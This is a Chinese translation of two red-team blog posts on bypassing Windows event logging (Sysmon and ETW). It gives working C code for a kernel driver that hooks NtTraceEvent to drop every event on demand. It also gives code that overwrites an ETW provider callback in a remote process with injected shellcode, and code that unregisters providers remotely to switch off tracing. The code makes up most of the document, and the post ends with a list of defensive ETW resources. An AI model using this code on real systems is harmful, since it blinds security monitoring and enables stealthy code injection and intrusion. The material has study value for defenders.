2020年4月7日,Dylan在其twitter上发布了一种绕过Sysmon和ETW的通用方法,我们对其进行了跟踪研究。4月8日,modexp在其blog上发布了另一种绕过ETW的方法。通过研究,我们发现这2种绕过ETW的方法都很有意思,所以决定对2篇有关绕过ETW的文章进行翻译,并合并为一篇,原汁原味地还原给大家,希望能对想了解ETW的童鞋有所帮助。谢谢~
0x01 Dylan:逃避Sysmon和ETW的通用方法
Sysmon和Windows事件日志都是极为强大的防御工具。其灵活的配置使其可以深入了解终端上进行的活动,从而使检测攻击者变得更加容易。出于这个原因,我们将一起探索如何绕过它们的整个旅程。
xpn和matterpreter已对此进行了一些出色的研究。他们的解决方案都不错,但不足以满足我对通用绕过方法的需求。Metterpreter卸载驱动程序的方法在技术上是可行的,但是卸载驱动程序会触发了很多非常明显的事件,这也是令人头疼的问题。
为了弄清楚如何绕过Sysmon和ETW,首先要了解它是如何工作的。@dotslashroot的文章给出了很好的思路。
现在我们知道,ETW(Windows事件跟踪)负责处理内核驱动程序的回调中捕获事件的报告,但是sysmon的用户模式进程是如何报告的呢?
启动Ghidra并运行sysmon64.exe,我们可以看到ETW使用Windows API ReportEventW 报告事件。
图1-sysmon64.exe
可以通过hook该调用并过滤或阻止事件……但这有什么意义呢?我们仍然需要Administrator权限才能做到这一点。我们应该可以找到更好的方法来利用它们。
通过深入研究调用链,并在ADVAPI32.dll中查看ReportEventW ,我们可以看到,它实质上是EtwEventWriteTransfer在NTDLL.dll中定义的包装器。
图2-ReportTheEvent
通过检查EtwEventWriteTransfer可以看到,它调用了在ntoskrnl.exe内部定义的内核函数NtTraceEvent。
图3-NtTracEvent
现在我们知道,任何要报告事件的用户模式进程都将调用此函数。下图是此过程的可视化调用图。
图4 调用结构图
目前知道了要定位的内核函数,让我们进行测试看其是否能真正起作用。为此,我将使用WinDBG进行内核调试,更多有关信息,请参见此处。
在nt!NtTraceEvent设置一个断点,然后在该断点被选中时,我将在函数的起始位置使用 ret 进行修补。这将迫使该函数在尚未运行任何事件报告代码之前返回。
它发挥了作用!下图展示了如何启动Powershell而不会触发任何Sysmon的事件提示。
图5-效果演示
因此,现在可以开始编写PoC代码了。我们想要编写的代码需要hook NtTraceEvent,并让我们选择是否要报告事件。由于我们要定位的函数是内核函数,因此需要让hook代码在内核空间中运行。尝试执行此操作时,我们将遇到两个主要问题。
幸运的是,已经有超酷的项目可以击败它们,由@hFireF0x 和 InfinityHook制作的KDU。在这里不会详细介绍它们的工作原理,因为它们各自的链接上有很多信息。
首先编写要在内核中运行的代码,所有链接都可以在此处找到。在DriverEntry开始处,我们需要定位NtTraceEvent和IoCreateDriver的输出。其次需要找到的IoCreateDriver原因是由于KDU。它将通过加载和利用一个签名驱动程序来加载我们的驱动程序,然后将其导入内核空间。这种驱动装载方式意味着,将DriverObject和RegistryPath传递给DriverEntry都是不正确的。但是由于我们需要能够与用户模式进程进行通信(由此我们知道何时报告和阻止事件),所以我们需要创建一个有效的DriverObject。我们可以通过调用IoCreateDriver并给它提供DriverInitialize例程的地址来实现这一点,我们的DriverInitialize随后将被调用并传递一个有效的DriverObject,该对象最终可用于创建IOCTL,允许我们使用用户模式。以下是代码:
NTSTATUS DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath)
{
NTSTATUS status;
UNICODE_STRING drvName;
UNREFERENCED_PARAMETER(DriverObject);
UNREFERENCED_PARAMETER(RegistryPath);
DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[+] infinityhook: Loaded.rn");
OriginalNtTraceEvent = (NtTraceEvent_t)MmGetSystemRoutineAddress(&StringNtTraceEvent);
OriginalIoCreateDriver = (IoCreateDriver_t)MmGetSystemRoutineAddress(&StringIoCreateDriver);
if (!OriginalIoCreateDriver)
{
DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[-] infinityhook: Failed to locate export: %wZ.n", StringIoCreateDriver);
return STATUS_ENTRYPOINT_NOT_FOUND;
}
if (!OriginalNtTraceEvent)
{
DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[-] infinityhook: Failed to locate export: %wZ.n", StringNtTraceEvent);
return STATUS_ENTRYPOINT_NOT_FOUND;
}
RtlInitUnicodeString(&drvName, L"\Driver\ghostinthelogs");
status = OriginalIoCreateDriver(&drvName, &DriverInitialize);
DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[+] Called OriginalIoCreateDriver status: 0x%Xn", status);
NTSTATUS Status = IfhInitialize(SyscallStub);
if (!NT_SUCCESS(Status))
{
DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[-] infinityhook: Failed to initialize with status: 0x%lx.n", Status);
}
return Status;
}
找到输出并获得有效的DriverObject后,我们可以使用InfinityHook初始化NtTraceEvent的hook函数。IfhInitialize函数执行此操作。调用IfhInitialize并给它传递指针。每次进行系统调用时都会命中此回调函数。我们给回调函数提供指向将要调用的函数地址的指针。可以访问该指针意味着我们可以将其更改为指向hook函数的地址。回调代码如下所示。
void __fastcall SyscallStub(
_In_ unsigned int SystemCallIndex,
_Inout_ void** SystemCallFunction)
{
UNREFERENCED_PARAMETER(SystemCallIndex);
if (*SystemCallFunction == OriginalNtTraceEvent)
{
*SystemCallFunction = DetourNtTraceEvent;
}
}
此代码会将每个NtTraceEvent的调用都重定向到我们的DetourNtTraceEvent。DetourNtTraceEvent的代码如下所示。
NTSTATUS DetourNtTraceEvent(
_In_ PHANDLE TraceHandle,
_In_ ULONG Flags,
_In_ ULONG FieldSize,
_In_ PVOID Fields)
{
if (HOOK_STATUS == 0)
{
return OriginalNtTraceEvent(TraceHandle, Flags, FieldSize, Fields);
}
return STATUS_SUCCESS;
}
这段代码非常简单。它将检查HOOK_STATUS(由用户模式进程通过IOCTL设置)是否为0,如果为0,则它将调用执行NtTraceEvent,从而报告事件。如果HOOK_STATUS非零,它将返回STATUS_SUCCESS 表明该事件已成功报告,当然这已经是不可能的了。如果有人能弄清楚如何解析Fields参数,从而对所报告的事件应用过滤器。
因为我想将所有驱动程序都保留为一个可执行文件,所以我将这个驱动程序嵌入到可执行文件中。当需要使用它时,它将被解压缩,然后KDU将其加载到内核中。
我不会详细介绍其余的代码,因为它主要是KDU和用户模式与驱动程序的交互,但是如果您有兴趣,可以在这里找到。
效果如何呢?
在我测试过的所有东西上,如果您发现它无法正常工作,或者有任何一般性的错误,请告诉我,我会尝试修复它们。另外,我不是程序员,所以我的代码将很不完美,您可以在此基础上做出更酷的修改。以下是功能示例:
加载驱动程序并设置hook
图片6-设置hook
启用hook(禁用所有日志记录)
图片7-启用hook
获取hook的状态
图片8-获取状态
禁用hook(启用所有日志记录)
图片9-禁用状态
0x02 modexp:通过ETW注册项绕过ETW的方法
1.简介
这篇blog简要介绍了Red Teams用来破坏Windows事件跟踪工具对恶意活动检测的一些技术。在内存中查找有关提供ETW程序的信息,并使用它来禁用跟踪或执行代码重定向是相对容易的。自2012年以来,wincheck提供了列出ETW注册信息的选项,所以这里讨论的并不是全新的内容。除了解释ETW的工作原理和目的之外,请在此处参考链接列表。在这篇文章中,我从Adam Chester的隐藏您的.NET – ETW中获得了启发,这篇文章中包括了EtwEventWrite的PoC。还有一个名为TamperETW的PoC ,作者:Cornelis de Plaa。可以在此处找到与该帖子相关的PoC 。
2.注册提供商
在较高级别的进程中,providers使用advapi32!EventRegister API 注册,该API通常转发到ntdll!EtwEventRegister。该API验证参数并将其转发到ntdll!EtwNotificationRegister。调用方会提供唯一的一个,通常用于表示系统上注册provider的GUID、一个可选的回调函数和一个可选的回调上下文。
注册句柄是条目的内存地址与表索引左移48位的组合。之后可以将其与EventUnregister一起使用以禁用跟踪。我们感兴趣的主要功能是负责创建注册条目并将其存储在内存中的功能。ntdll!EtwpAllocateRegistration告诉我们该结构的大小为256个字节。读取和写入条目的函数告诉我们大多数字段的用途,如下:
typedef struct _ETW_USER_REG_ENTRY {
RTL_BALANCED_NODE RegList; // List of registration entries
ULONG64 Padding1;
GUID ProviderId; // GUID to identify Provider
PETWENABLECALLBACK Callback; // Callback function executed in response to NtControlTrace
PVOID CallbackContext; // Optional context
SRWLOCK RegLock; //
SRWLOCK NodeLock; //
HANDLE Thread; // Handle of thread for callback
HANDLE ReplyHandle; // Used to communicate with the kernel via NtTraceEvent
USHORT RegIndex; // Index in EtwpRegistrationTable
USHORT RegType; // 14th bit indicates a private
ULONG64 Unknown[19];
} ETW_USER_REG_ENTRY, *PETW_USER_REG_ENTRY;
ntdll!EtwpInsertRegistration告诉我们所有入口点的存储位置。对于Windows 10,可以在名为ntdll!EtwpRegistrationTable的全局变量中找到它们。
3.找到注册表
有许多函数引用它,但没有一个是公共函数。
- EtwpRemoveRegistrationFromTable
- EtwpGetNextRegistration
- EtwpFindRegistration
- EtwpInsertRegistration
由于我们知道要在内存中查找的结构类型,因此对ntdll.dll中的.data节进行暴力搜索就足以找到它。
LPVOID etw_get_table_va(VOID) {
LPVOID m, va = NULL;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
PIMAGE_SECTION_HEADER sh;
DWORD i, cnt;
PULONG_PTR ds;
PRTL_RB_TREE rbt;
PETW_USER_REG_ENTRY re;
m = GetModuleHandle(L"ntdll.dll");
dos = (PIMAGE_DOS_HEADER)m;
nt = RVA2VA(PIMAGE_NT_HEADERS, m, dos->e_lfanew);
sh = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader +
nt->FileHeader.SizeOfOptionalHeader);
//定位 .data 段,保存VA和指针数量
for(i=0; i<nt->FileHeader.NumberOfSections; i++) {
if(*(PDWORD)sh[i].Name == *(PDWORD)".data") {
ds = RVA2VA(PULONG_PTR, m, sh[i].VirtualAddress);
cnt = sh[i].Misc.VirtualSize / sizeof(ULONG_PTR);
break;
}
}
// 对于每一个指针减1
for(i=0; i<cnt - 1; i++) {
rbt = (PRTL_RB_TREE)&ds[i];
// 跳过不是堆内存的指针
if(!IsHeapPtr(rbt->Root)) continue;
// 可能是注册表
// 检查回调是否为代码
re = (PETW_USER_REG_ENTRY)rbt->Root;
if(!IsCodePtr(re->Callback)) continue;
// 保存虚拟地址并退出循环
va = &ds[i];
break;
}
return va;
}
4.解析注册表
ETW转储工具可以在一个或多个进程的注册表中显示有关每个ETW提供程序的信息。提供程序的名称(私有提供程序除外)使用ITraceDataProvider :: get_DisplayName获得。此方法使用 Trace Data Helper API,实际上API内部是通过WMI查询实现的。
Node : 00000267F0961D00
GUID : {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4} (.NET Common Language Runtime)
Description : Microsoft .NET Runtime Common Language Runtime - WorkStation
Callback : 00007FFC7AB4B5D0 : clr.dll!McGenControlCallbackV2
Context : 00007FFC7B0B3130 : clr.dll!MICROSOFT_WINDOWS_DOTNETRUNTIME_PROVIDER_Context
Index : 108
Reg Handle : 006C0267F0961D00
5.代码重定向
提供程序的回调函数由内核在请求中调用,以启用或禁用跟踪。对于CLR,相关函数是clr!McGenControlCallbackV2。代码重定向是通过简单地用新回调的地址替换回调地址来实现的。当然,它必须使用相同的原型,否则一旦回调完成执行,主机进程将崩溃。我们可以使用StartTrace和EnableTraceEx API 调用新的回调,并且结合NtTraceControl可能有更简单的方法。
//使用ETW注册入口点
BOOL etw_inject(DWORD pid, PWCHAR path, PWCHAR prov) {
RTL_RB_TREE tree;
PVOID etw, pdata, cs, callback;
HANDLE hp;
SIZE_T rd, wr;
ETW_USER_REG_ENTRY re;
PRTL_BALANCED_NODE node;
OLECHAR id[40];
TRACEHANDLE ht;
DWORD plen, bufferSize;
PWCHAR name;
PEVENT_TRACE_PROPERTIES prop;
BOOL status = FALSE;
const wchar_t etwname[]=L"etw_injection";
if(path == NULL) return FALSE;
// 尝试将shellcode读入内存
plen = readpic(path, &pdata);
if(plen == 0) {
wprintf(L"ERROR: Unable to read shellcode from %sn", path);
return FALSE;
}
// 尝试获取ETW注册表的VA
etw = etw_get_table_va();
if(etw == NULL) {
wprintf(L"ERROR: Unable to obtain address of ETW Registration Table.n");
return FALSE;
}
printf("*********************************************n");
printf("EtwpRegistrationTable for %i found at %pn", pid, etw);
//尝试打开目标进程
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if(hp == NULL) {
xstrerror(L"OpenProcess(%ld)", pid);
return FALSE;
}
// 除非指定,否则使用(Microsoft Windows用户诊断)
node = etw_get_reg(
hp,
etw,
prov != NULL ? prov : L"{305FC87B-002A-5E26-D297-60223012CA9C}",&re);
if(node != NULL) {
// 将GUID转换为字符串和显示名称
StringFromGUID2(&re.ProviderId, id, sizeof(id));
name = etw_id2name(id);
wprintf(L"Address of remote node : %pn", (PVOID)node);
wprintf(L"Using %s (%s)n", id, name);
// 为shellcode 分配内存
cs = VirtualAllocEx(
hp, NULL, plen,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if(cs != NULL) {
wprintf(L"Address of old callback : %pn", re.Callback);
wprintf(L"Address of new callback : %pn", cs);
// 写shellcode
WriteProcessMemory(hp, cs, pdata, plen, &wr);
// 初始化追踪
bufferSize = sizeof(EVENT_TRACE_PROPERTIES) +
sizeof(etwname) + 2;
prop = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize);
prop->Wnode.BufferSize = bufferSize;
prop->Wnode.ClientContext = 2;
prop->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
prop->LogFileMode = EVENT_TRACE_REAL_TIME_MODE;
prop->LogFileNameOffset = 0;
prop->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
if(StartTrace(&ht, etwname, prop) == ERROR_SUCCESS) {
//保存回调
callback = re.Callback;
re.Callback = cs;
// 用shellcode地址覆盖现有入口点
WriteProcessMemory(hp,
(PBYTE)node + offsetof(ETW_USER_REG_ENTRY, Callback),
&cs, sizeof(ULONG_PTR), &wr);
//通过启用跟踪触发shellcode的执行
if(EnableTraceEx(
&re.ProviderId, NULL, ht,
1, TRACE_LEVEL_VERBOSE,
(1 << 16), 0, 0, NULL) == ERROR_SUCCESS)
{
status = TRUE;
}
// 还原回调
WriteProcessMemory(hp,
(PBYTE)node + offsetof(ETW_USER_REG_ENTRY, Callback),
&callback, sizeof(ULONG_PTR), &wr);
// 禁用tracing
ControlTrace(ht, etwname, prop, EVENT_TRACE_CONTROL_STOP);
} else {
xstrerror(L"StartTrace");
}
LocalFree(prop);
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
}
} else {
wprintf(L"ERROR: Unable to get registration entry.n");
}
CloseHandle(hp);
return status;
}
6.禁用跟踪
如果更详细地检查clr!McGenControlCallbackV2,我们将发现它会更改回调上下文中的值以启用或禁用事件跟踪。对于CLR,使用以下结构和功能。同样,对于不同版本的CLR,可以对此进行不同的定义。
typedef struct _MCGEN_TRACE_CONTEXT {
TRACEHANDLE RegistrationHandle;
TRACEHANDLE Logger;
ULONGLONG MatchAnyKeyword;
ULONGLONG MatchAllKeyword;
ULONG Flags;
ULONG IsEnabled;
UCHAR Level;
UCHAR Reserve;
USHORT EnableBitsCount;
PULONG EnableBitMask;
const ULONGLONG* EnableKeyWords;
const UCHAR* EnableLevel;
} MCGEN_TRACE_CONTEXT, *PMCGEN_TRACE_CONTEXT;
void McGenControlCallbackV2(
LPCGUID SourceId,
ULONG IsEnabled,
UCHAR Level,
ULONGLONG MatchAnyKeyword,
ULONGLONG MatchAllKeyword,
PVOID FilterData,
PMCGEN_TRACE_CONTEXT CallbackContext)
{
int cnt;
// 如果有上下文
if(CallbackContext) {
// 并且control code不为零
if(IsEnabled) {
// 启用追踪
if(IsEnabled == EVENT_CONTROL_CODE_ENABLE_PROVIDER) {
// 设置上下文
CallbackContext->MatchAnyKeyword = MatchAnyKeyword;
CallbackContext->MatchAllKeyword = MatchAllKeyword;
CallbackContext->Level = Level;
CallbackContext->IsEnabled = 1;
// ...其他代码省略...
}
} else {
// 禁用追踪
CallbackContext->IsEnabled = 0;
CallbackContext->Level = 0;
CallbackContext->MatchAnyKeyword = 0;
CallbackContext->MatchAllKeyword = 0;
if(CallbackContext->EnableBitsCount > 0) {
ZeroMemory(CallbackContext->EnableBitMask,
4 * ((CallbackContext->EnableBitsCount - 1) / 32 + 1));
}
}
EtwCallback(
SourceId, IsEnabled, Level,
MatchAnyKeyword, MatchAllKeyword,
FilterData, CallbackContext);
}
}
有许多选项可以禁用CLR日志记录,而无需修补代码。
- 使用EVENT_CONTROL_CODE_DISABLE_PROVIDER调用McGenControlCallbackV2。
- 直接修改MCGEN_TRACE_CONTEXT和ETW注册结构以防止进一步记录。
- 调用EventUnregister传递注册句柄。
最简单的方法是将注册句柄传递给ntdll!EtwEventUnregister。以下只是一个PoC。
BOOL etw_disable(
HANDLE hp,
PRTL_BALANCED_NODE node,
USHORT index)
{
HMODULE m;
HANDLE ht;
RtlCreateUserThread_t pRtlCreateUserThread;
CLIENT_ID cid;
NTSTATUS nt=~0UL;
REGHANDLE RegHandle;
EventUnregister_t pEtwEventUnregister;
ULONG Result;
// 获得创建新线程的API地址
m = GetModuleHandle(L"ntdll.dll");
pRtlCreateUserThread = (RtlCreateUserThread_t)
GetProcAddress(m, "RtlCreateUserThread");
// 创建注册句柄
RegHandle = (REGHANDLE)((ULONG64)node | (ULONG64)index << 48);
pEtwEventUnregister = (EventUnregister_t)GetProcAddress(m, "EtwEventUnregister");
// 在远程进程中执行payload
printf(" [ Executing EventUnregister in remote process.n");
nt = pRtlCreateUserThread(hp, NULL, FALSE, 0, NULL,
NULL, pEtwEventUnregister, (PVOID)RegHandle, &ht, &cid);
printf(" [ NTSTATUS is %lxn", nt);
WaitForSingleObject(ht, INFINITE);
// EtwEventUnregister的读取结果
GetExitCodeThread(ht, &Result);
CloseHandle(ht);
SetLastError(Result);
if(Result != ERROR_SUCCESS) {
xstrerror(L"etw_disable");
return FALSE;
}
disabled_cnt++;
return TRUE;
}
0x03 更多研究和资料
下面是更多有关ETW的文章和工具。感兴趣的童鞋可以进一步阅读,点击链接即可。
- 篡改Windows事件跟踪:背景,攻击和防御,作者Matt Graeber
- ModuleMonitor,作者TheWover
- FuzzySec的SilkETW
- ETW浏览器,作者Pavel Yosifovich
- EtwConsumerNT,作者Petr Benes
- Endgame的ClrGuard。
- 检测使用.NET的恶意软件—第1部分
- 检测使用.NET的恶意软件—第2部分
- 寻找内存中的.NET攻击
- 使用ETW检测.NET开发的无文件C2Agent的恶意行为
- 让ETW变得更强大
- 从远程进程中枚举AppDomain
- ETW日志记录,EtwEventRegister上W8消费者预览, EtwEventRegister,作者redplait
- 禁用用户模式下的ETW记录器
- 禁用当前PowerShell会话中ETW